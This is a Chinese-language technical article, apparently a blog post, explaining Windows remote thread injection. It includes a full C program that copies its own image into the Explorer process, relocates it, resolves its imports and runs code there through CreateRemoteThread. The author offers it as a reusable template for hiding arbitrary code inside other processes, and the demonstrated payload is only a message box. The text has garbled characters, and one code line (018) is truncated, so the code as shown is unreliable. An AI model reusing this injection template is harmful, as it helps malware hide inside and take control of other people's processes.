一、 前言:
遠(yuǎn)程線程技術(shù)指的是通過在其他進(jìn)程中創(chuàng)建新線程的方法進(jìn)入該進(jìn)程的內(nèi)存地址空間,,從而獲得對該進(jìn)程的控制權(quán)的方法,。 所以通過在遠(yuǎn)程進(jìn)程中創(chuàng)建新的方法,,就可以進(jìn)入到遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了和那個遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限,,可以在遠(yuǎn)程進(jìn)程中執(zhí)行代碼,,從而達(dá)到遠(yuǎn)程進(jìn)程控制、進(jìn)程隱藏的目的,。 二 ,、基本原理: 2.1. A P I 函數(shù) 其中VirtualAllocEx和CreateRemoteThread兩個API函數(shù)只能NT內(nèi)核下用。實現(xiàn)的基本過程如下: (1)通過OpenProcess函數(shù)打開進(jìn)程PID為ProcessID的遠(yuǎn)程進(jìn)程: hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId),; (2)通過VirtualAllocEx函數(shù)在剛打開的進(jìn)程中申請IMageSize個字節(jié)的內(nèi)存: InjectPoint = (LPBYTE)VirtualAllocEx(hProcess, 0, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ,; (3)通過WriteProcessMemory函數(shù)將NewModule開始的IMageSize個字節(jié)的代碼寫入已經(jīng)申請的內(nèi)存中: WriteProcessMemory(hProcess, InjectPoint, NewModule, ImageSize, NULL) ; (4)通過CreateRemoteThread函數(shù)啟動剛寫入的代碼: CreateRemoteThread(hProcess, NULL, 0, RemoteEntryPoint, Param, 0, NULL); 2.2. 重定位和函數(shù)導(dǎo)入的問題 在遠(yuǎn)程進(jìn)程執(zhí)行的代碼中最重要的是要解決代碼的重定位和API函數(shù)導(dǎo)入的問題,,對于參考文獻(xiàn)1的方法是通過在遠(yuǎn)程進(jìn)程中執(zhí)行LoadLibrary函數(shù)將DLL文件載入,,所以系統(tǒng)會自動完成代碼的重定位和API函數(shù)導(dǎo)入工作:而參考文獻(xiàn)2中提到的方法是通過匯編語言進(jìn)行編程來解決,相對來講會使編程難度增大,但隱藏性是最好的,。在這里,,探討一種新的方法既能使用高級語言進(jìn)行編程又有完美的隱藏效果的方法。 首先要解決的是重定位問題,,這就要用到pE文件中的重定位表,,利用重定位表將即將寫入遠(yuǎn)程進(jìn)程的代碼按照在遠(yuǎn)程進(jìn)程申請到的內(nèi)存地址通過RelocCode函數(shù)進(jìn)行重定位,然后將重定位好的代碼寫入遠(yuǎn)程進(jìn)程的內(nèi)存空間,。這些寫入的代碼必然要用到API函數(shù),,所以在遠(yuǎn)程線程代碼調(diào)用第一個API之前,要替系統(tǒng)來完成裝入API函數(shù)對應(yīng)的DLL文件,,ing填好相關(guān)API函數(shù)入口地址的工作,,這就要用到PE文件的輸入表提供的信息,輸入表記錄了一個win32程序需要加載的所有DLL文件名及從中引入的API函數(shù)名,,這就可以用LoadLIbrary函數(shù)注入需要用的DLL文件,,在通過GETProcAddress函數(shù)獲得相應(yīng)的API函數(shù)地址,,這里是通過LoadAPI函數(shù)來完成這些工作,。下面程序中的LoadAPI函數(shù)作為遠(yuǎn)程線程的入口,其用到的API函數(shù)LoadLibrary和 GETProcAddress的入口地址有時如何確定的呢,?事實上幾乎所有的Windows進(jìn)程都會裝入“kernel32.dll”,,而這兩個函數(shù)就定位于“kernel32.dll”中,而且所有裝入“kernel32.dll”的進(jìn)程都會把它裝入到同一個虛擬內(nèi)存地址,,即在本地進(jìn)程中使用到“kernel32.dll”中的API函數(shù)和遠(yuǎn)程進(jìn)程中對應(yīng)的API函數(shù)地址是一樣的,,所以在遠(yuǎn)程進(jìn)程代碼中可以想本地進(jìn)程一樣調(diào)用LoadLibrary加載DLL文件,然后用GETProcAddress獲得輸入函數(shù)的入口地址并寫入響應(yīng)的數(shù)據(jù)結(jié)構(gòu)中,,完成API函數(shù)的導(dǎo)入,。 三、編程實現(xiàn): 001. //為了簡化代碼,,下面程序中去掉了對出錯處理的代碼,,實際應(yīng)用中應(yīng)該考慮程序運(yùn)行時可能的出錯: 002. #include "stdafx.h" 003. static PIMAGE_NT_HEADERS nt_header; 004. #define IMAGESIZE (nt_header->OptionalHeader.SizeOfImage) 005. #define EXPORT_TABEL (nt_header->OptionalHeader.DataDirectory[0].VirtualAddress) 006. #define RELOC_TABEL (nt_header->OptionalHeader.DataDirectory[5].VirtualAddress) 007. static void RelocCode ( PBYTE Image, LPBYTE InjectBase) // 完成代碼的重定位 008. { 009. DWORD Rva = 0, RvaCount = 0, RelocOffset=0; 010. WORD *Offset = NULL; 011. LPBYTE RelocTable = Image + RELOC_TABEL; //重定位表位置 012. PIMAGE_BASE_RELOCATION basereloc= (PIMAGE_BASE_RELOCATION) RelocTable; 013. RelocOffset= ( DWORD )InjectBase - nt_header ->OptionalHeader.ImageBase; //重定位表偏移 014. while (basereloc ->VirtualAddress != NULL) // 遍歷重定位表,修正需要重定位的代碼 015. { 016. Offset = ( WORD *)(RelocTable + sizeof (IMAGE_BASE_RELOCATION)); 017. RvaCount = (basereloc ->SizeOfBlock - sizeof (IMAGE_BASE_RELOCATION)) / 2; 018. for ( DWORD i=0; iVirtualAddress + ( DWORD )Image; 019. *( DWORD *)Rva += RelocOffset; //RVA加上修正量進(jìn)行修正 020. } 021. RelocTable += basereloc ->SizeOfBlock; //指向下一頁重定位信息處 022. basereloc = (PIMAGE_BASE_RELOCATION) RelocTable; 023. } 024. } 025. int LoadAPI( LPBYTE InjectBase) // 用于完成API函數(shù)的導(dǎo)入,,參數(shù)為要插入代碼處地址 026. { 027. PIMAGE_DOS_HEADER dos_h = (PIMAGE_DOS_HEADER) InjectBase; 028. PIMAGE_NT_HEADERS nt_h = (PIMAGE_NT_HEADERS)(InjectBase + dos_h->e_lfanew); 029. PIMAGE_IMPORT_DESCRIPTOR import_d = (PIMAGE_IMPORT_DESCRIPTOR) 030. (InjectBase + nt_h->OptionalHeader.DataDirectory[1].VirtualAddress); 031. for ( ; import_d->OriginalFirstThunk != 0; import_d++) //遍歷導(dǎo)入表 032. { 033. HMODULE hDll = LoadLibrary(( LPCSTR )(InjectBase + import_d->Name)); 034. //上面能直接引用LoadLibrary是由于本地和遠(yuǎn)程進(jìn)程中該函數(shù)地址都是相同的 035. if (hDll == NULL) 036. return 0; 037. PIMAGE_THUNK_DATA Origin = (PIMAGE_THUNK_DATA)(InjectBase +import_d->OriginalFirstThunk); 038. PIMAGE_THUNK_DATA First = (PIMAGE_THUNK_DATA)(InjectBase + import_d->FirstThunk); 039. LPCSTR Name = NULL; 040. PIMAGE_IMPORT_BY_NAME Import_name = NULL; 041. for (; Origin->u1.Ordinal != 0; Origin++, First++) 042. { 043. if (Origin->u1.Ordinal & IMAGE_ORDINAL_FLAG) 044. Name = ( LPCSTR )IMAGE_ORDINAL(Origin->u1.Ordinal); 045. else 046. { 047. Import_name = (PIMAGE_IMPORT_BY_NAME)(InjectBase + ( DWORD )( Origin->u1.AddressOfData)); 048. Name = ( LPCSTR )Import_name->Name; 049. } 050. First->u1.Function = ( DWORD * )GetProcAddress(hDll, Name); 051. //上面能直接引用GetProcAddress是由于本地和遠(yuǎn)程進(jìn)程中該函數(shù)地址都是相同的 052. if (First->u1.Function == NULL) 053. return 0; 054. } 055. } 056. return 1; 057. } 058. DWORD RemoteThread_Main( HINSTANCE hInstance) //遠(yuǎn)程要執(zhí)行的代碼,,在這里只演示MessageBox 059. { 060. ::MessageBox (0, "遠(yuǎn)程線程插入成功!" , "遠(yuǎn)程線程" ,0); 061. return 1; 062. } 063. DWORD ThreadEntry( LPBYTE ImageBase) /*** 遠(yuǎn)程線程入口 ***/ 064. { 065. if (LoadAPI(ImageBase)) //先完成API函數(shù)的導(dǎo)入工作 066. RemoteThread_Main (( HINSTANCE )ImageBase); //執(zhí)行函數(shù)RemoteThread_Main中的代碼 067. return 1; 068. } 069. static DWORD GetTargetProcessId() //獲取遠(yuǎn)程進(jìn)程 PID 070. { 071. DWORD ProcessId = 0; 072. HWND hWnd = FindWindow( "Progman" , "Program Manager" ); //獲取資源管理器進(jìn)程PID 073. if (hWnd != NULL) 074. GetWindowThreadProcessId(hWnd, &ProcessId); 075. return ProcessId; 076. } 077. int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 078. { 079. LPBYTE InjectPoint = NULL, Module = NULL, NewModule = NULL,Param =NULL; 080. HANDLE hProcess = NULL, hThread = NULL; 081. DWORD ProcessId = 0, ImageSize = 0; 082. LPTHREAD_START_ROUTINE RemoteEntryPoint = NULL; 083. Module = (unsigned char *)GetModuleHandle(NULL); //獲取自身句柄 084. nt_header = (PIMAGE_NT_HEADERS)(Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew); 085. ImageSize = IMAGESIZE ; //得到內(nèi)存映象大小 086. //通過VirtualAllocEx申請存放自身代碼的內(nèi)存空間 087. NewModule =( LPBYTE )VirtualAlloc(NULL, ImageSize, MEM_COMMIT | MEM_RESERVE, 088. PAGE_EXECUTE_READWRITE); 089. memcpy (NewModule, Module, ImageSize) ; //將自身復(fù)制到NewModule處 090. nt_header = (PIMAGE_NT_HEADERS)(NewModule + ((PIMAGE_DOS_HEADER)NewModule)->e_lfanew); 091. if ( ProcessId = GetTargetProcessId() ) //獲取遠(yuǎn)程進(jìn)程 PID 092. if ( hProcess = OpenProcess(PROCESS_ALL_ACCESS, false , ProcessId)) //打開進(jìn)程 093. //通過VirtualAllocEx在打開的遠(yuǎn)程進(jìn)程中申請內(nèi)存空間 094. if ( InjectPoint = ( LPBYTE )VirtualAllocEx(hProcess, 0, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ) 095. { 096. RelocCode (NewModule, InjectPoint); //重定位NewModule處的代碼 097. RemoteEntryPoint = (LPTHREAD_START_ROUTINE)( InjectPoint +( DWORD ) &ThreadEntry - Module ); //得到ThreadEntry在遠(yuǎn)程進(jìn)程中的地址 098. Param = InjectPoint; //將插入點(diǎn)地址作為參數(shù)傳遞給線程函數(shù) 099. //將重定位好的代碼通過WriteProcessMemory寫入遠(yuǎn)程進(jìn)程的內(nèi)存空間中 100. if (WriteProcessMemory(hProcess, InjectPoint, NewModule, ImageSize, NULL)) 101. //通過CreateRemoteThread啟動剛寫入的代碼,,參數(shù)為Param 102. CreateRemoteThread(hProcess, NULL, 0, RemoteEntryPoint, Param, 0, NULL); 103. } 104. return 0; 105. } 四 ,、總結(jié) 代碼可以把它當(dāng)做一個模板,只要是在RemoteThread_Main函數(shù)中加入實現(xiàn)各種功能的代碼即可把它隱藏到其他進(jìn)程中去運(yùn)行,。遠(yuǎn)程線程技術(shù)除了隱藏進(jìn)程外,,還有其他一些用途,如用于殺毒軟件進(jìn)行內(nèi)存殺毒等。 以上代碼均在WindowsXP專業(yè)版和Windows2000下正常運(yùn)行,,注意在編譯程序時候應(yīng)保留重定位表的信息,,即在“Project”菜單中選“SETting”,然后選Link選項卡,,將Link incrementally選上在進(jìn)行編譯,,否則會出錯。 |
|